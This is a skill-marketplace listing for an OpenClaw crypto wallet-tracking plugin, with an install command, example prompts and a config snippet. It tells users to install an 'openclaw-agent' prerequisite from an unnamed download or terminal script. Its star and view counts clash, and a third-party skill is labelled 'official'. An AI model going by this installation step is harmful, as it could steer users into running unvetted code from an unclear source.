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insider-wallets-finder

Find and analyze smart money addresses - discover early buyers, track successful traders, identify whale accumulation patterns, and research on-chain alpha.

Why use this skill?

Identify profitable crypto traders, track whale accumulation, and find early token buyers with the Insider Wallets Finder skill for OpenClaw.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-firui
Or

What This Skill Does

The Insider Wallets Finder is an advanced analytical utility within the OpenClaw ecosystem designed to demystify on-chain market activity. By leveraging data from major blockchain explorers and decentralized exchange protocols, this skill allows users to look past the surface noise of price action and identify the 'smart money'—those individuals and entities consistently making profitable trades. It functions as a specialized intelligence tool that filters high-volume transactions, identifies early token adopters, and tracks the movement of capital by major market participants, often referred to as 'whales.'

Installation

Installation of this skill is streamlined through the OpenClaw command-line interface. To get started, ensure you have the prerequisite openclaw-agent installed on your machine. For Windows, download the official release, and for macOS, follow the provided terminal script instructions. Once the base agent is active, execute the following command in your terminal: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-firui. The skill will then be integrated into your local agent workflow, ready to interface with provided API keys for Etherscan and Birdeye services.

Use Cases

  • Early Adoption Research: Detect the first 100 wallets to interact with a new token contract to determine if the launch was organic or driven by insiders.
  • Whale Tracking: Monitor top 50 token holders to observe accumulation patterns, helping you decide whether to follow major market participants.
  • Profitability Analysis: Scan Uniswap liquidity pools and swap data to identify traders who consistently execute profitable trades above $10,000.
  • Deployer Profiling: Inspect the history of contract creators to see if they have a history of rug-pulls or successful project launches.
  • Market Sentiment: Use on-chain flows to validate if the smart money is exiting positions or aggressively accumulating during a market dip.

Example Prompts

  1. "OpenClaw, find the top 20 earliest buyers of the token address 0xToken123... and check how many transactions they have performed in the last 24 hours."
  2. "Analyze the wallet 0xDeployerAddress and generate a report on all contracts they have launched in the last 30 days to check for potential patterns."
  3. "List the top 50 whale holders for the current token and calculate the average holding size, then compare it to the total supply."

Tips & Limitations

To maximize the utility of this skill, ensure that your API keys have sufficient rate limits to prevent timeouts during large blockchain queries. Remember that 'smart money' analysis is a probabilistic exercise; past performance does not guarantee future results. Always verify the source of funds, as some wallets may belong to exchange hot wallets or liquidity providers rather than individual traders. Additionally, be aware that blockchain transparency allows for 'sybil' behavior, where one person controls many wallets to create an illusion of decentralized accumulation. Always cross-reference your findings with social media and project documentation.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-insider-wallets-finder-firui": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#blockchain#on-chain-analytics#trading#cryptocurrency#defi
Safety Score: 3/5

Flags: network-access, external-api, code-execution